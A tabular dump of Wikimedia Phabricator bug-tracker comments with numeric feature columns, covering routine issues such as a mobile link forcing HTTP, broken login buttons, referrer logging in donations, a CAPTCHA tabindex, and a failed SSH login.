466594,automatic login to private wiki raises APIError on the second failed login,I'm currently guessing but it does sort of make sense. The second APIError happens probably because after the first failed login the API knows that login doesn't work and doesn't attempt to login but just reraises the possible APIError caught in the first attempt.,,,1433152370,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-kbebds5pefc7j3cqlqxz,task_subcomment,,True,c3,1,True,,,-5,True,0.0,0.0,0.0,0.0,4.0,8.0,0.0,2.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,2.0,0.0,14.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,4.0,6.0,10.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,12.0,6.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.510204081632653,0.7346938775510204,I'm currently guessing but it does sort of make sense. The second APIError happens probably because after the first failed login the API knows that login doesn't work and doesn't attempt to login but just reraises the possible APIError caught in the first attempt.
99343,Link to switch back to desktop in mobile view is forcing HTTP even if viewing over HTTPS,"Visit <https://en.m.wikipedia.org/wiki/Clebsch%E2%80%93Gordan_coefficients>

At the bottom of the page is `<li>Mobile</li><li><a id=""mw-mf-display-toggle"" href=""http://en.wikipedia.org/w/index.php?title=Clebsch%E2%80%93Gordan_coefficients&amp;mobileaction=toggle_view_desktop"">Desktop</a></li>`

This was reported via OTRS ticket #2015050410022502.",High,80.0,1431754350,1432800151.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,PHID-USER-w3pd7vqenmta6vpmhwcn,False,PHID-TASK-6pnividm7oojpkgn5cc2,task_description,resolved,True,c3,1,True,False,True,-7,True,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,27.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.8636363636363638,0.9090909090909091,"Visit <URL

At the bottom of the page is CODE

This was reported via OTRS ticket #2015050410022502."
462791,Link to switch back to desktop in mobile view is forcing HTTP even if viewing over HTTPS,"Okay, so that's done. I do wonder about this code in includes/models/MobilePage.php though:
```lang=php
					$imgUrl = wfExpandUrl( $thumb->getUrl(), PROTO_CURRENT );
					if ( $useBackgroundImage ) {
						$props['style'] = 'background-image: url(""' . wfExpandUrl( $imgUrl, PROTO_CURRENT ) . '"")';
						$text = '';
					}```",,,1432431890,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-6pnividm7oojpkgn5cc2,task_subcomment,,True,c3,1,True,,,-6,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.259259259259259,0.8518518518518519,"Okay, so that's done. I do wonder about this code in includes/models/MobilePage.php though:
``CODE``"
462764,Link to switch back to desktop in mobile view is forcing HTTP even if viewing over HTTPS,"Change 213190 merged by jenkins-bot:
Have link to switch back to desktop view be protocol-relative

[[https://gerrit.wikimedia.org/r/213190]]",,,1432426387,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6pnividm7oojpkgn5cc2,task_subcomment,,True,c3,1,False,,,-6,True,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.740740740740741,0.8518518518518519,"Change 213190 merged by jenkins-bot:
Have link to switch back to desktop view be protocol-relative

[[GERRIT_URL]]"
462761,Link to switch back to desktop in mobile view is forcing HTTP even if viewing over HTTPS,"Change 213190 had a related patch set uploaded (by Legoktm):
Have link to switch back to desktop view be protocol-relative

[[https://gerrit.wikimedia.org/r/213190]]
",,,1432425546,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6pnividm7oojpkgn5cc2,task_subcomment,,True,c3,1,False,,,-6,True,0.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,12.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.78125,0.875,"Change 213190 had a related patch set uploaded (by Legoktm):
Have link to switch back to desktop view be protocol-relative

[[GERRIT_URL]]
"
459991,Link to switch back to desktop in mobile view is forcing HTTP even if viewing over HTTPS,">>! In T99343#1291989, @Krenair wrote:
> There are some other issues though - `grep http: i18n/* | wc -l` through the MobileFrontend returns a lot of insecure links to Wikipedias or foundationwiki.

Try checking it while logged out.",,,1431878271,,PHID-USER-lsveyqlsb4acoowxr5yj,False,,,PHID-TASK-6pnividm7oojpkgn5cc2,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,27.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.727272727272727,0.9090909090909091,"QUOTE
QUOTE

Try checking it while logged out."
459986,Link to switch back to desktop in mobile view is forcing HTTP even if viewing over HTTPS,There are some other issues though - `grep http: i18n/* | wc -l` through the MobileFrontend returns a lot of insecure links to Wikipedias or foundationwiki.,,,1431874030,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-6pnividm7oojpkgn5cc2,task_subcomment,,True,c3,1,True,,,-7,True,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,18.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.136363636363637,1.0,There are some other issues though - CODE through the MobileFrontend returns a lot of insecure links to Wikipedias or foundationwiki.
459984,Link to switch back to desktop in mobile view is forcing HTTP even if viewing over HTTPS,Shows as HTTPS for me...,,,1431871875,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-6pnividm7oojpkgn5cc2,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,33.0,17.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,Shows as HTTPS for me...
99154,Login/Signup buttons don't work on beta labs,"Steps to reproduce:

1. Visit http://en.m.wikipedia.beta.wmflabs.org/wiki/Golden_Gate_Bridge
2. Make sure you're logged out
3. Click on the 'Edit' icon
4. Click on 'Log in' or 'Sign up' buttons in the overlay that appears
5. You may click as many times as you want, you'll never be taken to the login/signup page ;)",High,80.0,1431644709,1431650073.0,PHID-USER-grftjc3ekkyjf6bwlsqi,False,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-TASK-dg5iye4ase6hmziqiey7,task_description,resolved,True,c3,1,False,False,True,-7,True,1.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,4.0,0.0,0.0,0.0,5.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,14.0,0.0,1.0,4.0,0.0,1.0,0.0,0.0,12.0,0.0,5.0,0.0,5.0,12.0,3.0,0.0,8.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,2.8904109589041096,0.7123287671232876,"Steps to reproduce:

1. Visit URL
2. Make sure you're logged out
3. Click on the 'Edit' icon
4. Click on 'Log in' or 'Sign up' buttons in the overlay that appears
5. You may click as many times as you want, you'll never be taken to the login/signup page ;)"
461104,Login/Signup buttons don't work on beta labs,"Change 212196 merged by jenkins-bot:
Add login and signup urls to the editor overlay for anons

[[https://gerrit.wikimedia.org/r/212196]]",,,1432072233,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dg5iye4ase6hmziqiey7,task_subcomment,,True,c3,1,False,,,-7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.6923076923076925,0.9230769230769231,"Change 212196 merged by jenkins-bot:
Add login and signup urls to the editor overlay for anons

[[GERRIT_URL]]"
461099,Login/Signup buttons don't work on beta labs,"Change 212196 had a related patch set uploaded (by Kaldari):
Add login and signup urls to the editor overlay for anons

[[https://gerrit.wikimedia.org/r/212196]]
",,,1432071538,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dg5iye4ase6hmziqiey7,task_subcomment,,True,c3,1,False,,,-7,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,13.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.7419354838709675,0.9032258064516129,"Change 212196 had a related patch set uploaded (by Kaldari):
Add login and signup urls to the editor overlay for anons

[[GERRIT_URL]]
"
461072,Login/Signup buttons don't work on beta labs,"Change 212171 merged by jenkins-bot:
Add login and signup urls to the editor overlay for anons

[[https://gerrit.wikimedia.org/r/212171]]",,,1432068093,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dg5iye4ase6hmziqiey7,task_subcomment,,True,c3,1,False,,,-7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.6923076923076925,0.9230769230769231,"Change 212171 merged by jenkins-bot:
Add login and signup urls to the editor overlay for anons

[[GERRIT_URL]]"
461069,Login/Signup buttons don't work on beta labs,"Change 212171 had a related patch set uploaded (by Kaldari):
Add login and signup urls to the editor overlay for anons

[[https://gerrit.wikimedia.org/r/212171]]
",,,1432067855,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dg5iye4ase6hmziqiey7,task_subcomment,,True,c3,1,False,,,-7,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,13.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,10.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.7419354838709675,0.9032258064516129,"Change 212171 had a related patch set uploaded (by Kaldari):
Add login and signup urls to the editor overlay for anons

[[GERRIT_URL]]
"
459067,Login/Signup buttons don't work on beta labs,"Change 211064 merged by jenkins-bot:
Add login and signup urls to the editor overlay for anons

[[https://gerrit.wikimedia.org/r/211064]]",,,1431650160,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dg5iye4ase6hmziqiey7,task_subcomment,,True,c3,1,False,,,-7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.6923076923076925,0.9230769230769231,"Change 211064 merged by jenkins-bot:
Add login and signup urls to the editor overlay for anons

[[GERRIT_URL]]"
459058,Login/Signup buttons don't work on beta labs,"Change 211064 had a related patch set uploaded (by Bmansurov):
Add login and signup urls to the editor overlay for anons

[[https://gerrit.wikimedia.org/r/211064]]
",,,1431648026,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dg5iye4ase6hmziqiey7,task_subcomment,,True,c3,1,False,,,-7,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,13.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.806451612903226,0.9032258064516129,"Change 211064 had a related patch set uploaded (by Bmansurov):
Add login and signup urls to the editor overlay for anons

[[GERRIT_URL]]
"
114148,Stop logging HTTP referrer,"DonationInterface tests the referrer to block certain (don't list here) URL patterns which basically guarantee that the transaction is fraud.  Keep that test, but never log or store the referrer.",Medium,50.0,1443549122,1444402090.0,PHID-USER-p6hvqn5njgnxuagekh4b,False,PHID-USER-p6hvqn5njgnxuagekh4b,False,PHID-TASK-3ooips3aompnb7dxmwxt,task_description,duplicate,True,c3,3,True,True,False,12,True,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,8.0,3.0,8.0,3.0,5.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.486486486486487,0.8648648648648649,"DonationInterface tests the referrer to block certain (don't list here) URL patterns which basically guarantee that the transaction is fraud.  Keep that test, but never log or store the referrer."
537346,Stop logging HTTP referrer,What if we rely on the weblog for this sort of investigation?  We could use a standard log analysis package...,,,1443549603,,PHID-USER-p6hvqn5njgnxuagekh4b,False,,,PHID-TASK-3ooips3aompnb7dxmwxt,task_subcomment,,True,c3,3,True,,,12,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,4.0,0.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,17.0,0.0,4.0,0.0,0.0,9.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,3.9565217391304346,1.0,What if we rely on the weblog for this sort of investigation?  We could use a standard log analysis package...
537344,Stop logging HTTP referrer,"see https://gerrit.wikimedia.org/r/232218/

At least once, it's been useful to visit the referrer and investigate (some Chinese forum suggesting legit CC holders use a WP donation to see if their cards work overseas).  We should at least quit logging specific page views on WMF projects",,,1443549481,,PHID-USER-3jrdwh7dywughlcnir2i,False,,,PHID-TASK-3ooips3aompnb7dxmwxt,task_subcomment,,True,c3,3,True,,,12,True,2.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,8.0,12.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,6.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,14.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,4.0,0.0,4.0,0.0,4.254901960784314,0.9411764705882353,"see GERRIT_URL/

At least once, it's been useful to visit the referrer and investigate (some Chinese forum suggesting legit CC holders use a WP donation to see if their cards work overseas).  We should at least quit logging specific page views on WMF projects"
113866,Remove hardcoded tabindex for UserLogin form,"Currently (intrudced with [[ https://gerrit.wikimedia.org/r/#/c/240306/3 | this change ]]), ConfirmEdit uses a hardcoded tabindex for it's CAPTCHA field on Special:UserLogin (8). It would be better to replace this with a generic or self counting tabIndex, so we don't need to adjust it, whenever there are new fields added to the Login form (e.g. by core itself or other extensions).",Medium,50.0,1443310430,1465503669.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-TASK-nomqtyfhtthcvoqrra6e,task_description,resolved,True,c3,3,True,False,False,12,True,0.0,0.0,0.0,0.0,1.0,7.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,5.0,12.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,0.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,15.0,0.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,11.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,12.0,8.0,0.0,0.0,0.0,7.0,0.0,1.0,3.0,1.0,0.0,1.0,0.0,1.0,3.8,0.8,"Currently (intrudced with [[ URL | this change ]]), ConfirmEdit uses a hardcoded tabindex for it's CAPTCHA field on Special:UserLogin (8). It would be better to replace this with a generic or self counting tabIndex, so we don't need to adjust it, whenever there are new fields added to the Login form (e.g. by core itself or other extensions)."
677212,Remove hardcoded tabindex for UserLogin form,AuthManager generates tabindexes dynamically.,,,1465503669,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-nomqtyfhtthcvoqrra6e,task_subcomment,,True,c3,3,True,,,49,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.4,1.0,AuthManager generates tabindexes dynamically.
113451,Can't login into a newly created nova instance through ssh,"I have recently created a nova instance few minutes ago, but I can't login into it. It said I was denied because of the wrong public key.

The target instance is https://wikitech.wikimedia.org/wiki/Nova_Resource:Vm-test1.nginx.eqiad.wmflabs.
Here's the full log: http://pastebin.com/4D6ZbTA2",Medium,50.0,1442994694,1482280984.0,PHID-USER-ecpjgmrbfxvcanttpazu,False,PHID-USER-x7ti5ksby4ubsabntlxa,False,PHID-TASK-ukb2viitzlkjh4g5a7t3,task_description,resolved,True,c3,3,False,False,False,11,True,2.0,0.0,0.0,2.0,2.0,9.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,9.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,9.0,4.0,18.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,11.0,7.0,2.0,0.0,0.0,0.0,11.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.466666666666667,0.8666666666666667,"I have recently created a nova instance few minutes ago, but I can't login into it. It said I was denied because of the wrong public key.

The target instance is URL
Here's the full log: URL"
781804,Can't login into a newly created nova instance through ssh,"actually, no, from reviewing the log it looks like this was a temporary issue (unable to connect to LDAP) and this was from over a year ago, so we can consider this long since resolved",,,1482280984,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ukb2viitzlkjh4g5a7t3,task_subcomment,,True,c3,3,True,,,76,True,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,20.0,0.0,2.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,2.0,5.0,2.0,15.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,5.0,20.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,3.75,0.8,"actually, no, from reviewing the log it looks like this was a temporary issue (unable to connect to LDAP) and this was from over a year ago, so we can consider this long since resolved"
781802,Can't login into a newly created nova instance through ssh,assigning to author for information,,,1482280859,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ukb2viitzlkjh4g5a7t3,task_subcomment,,True,c3,3,True,,,76,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,6.2,1.0,assigning to author for information
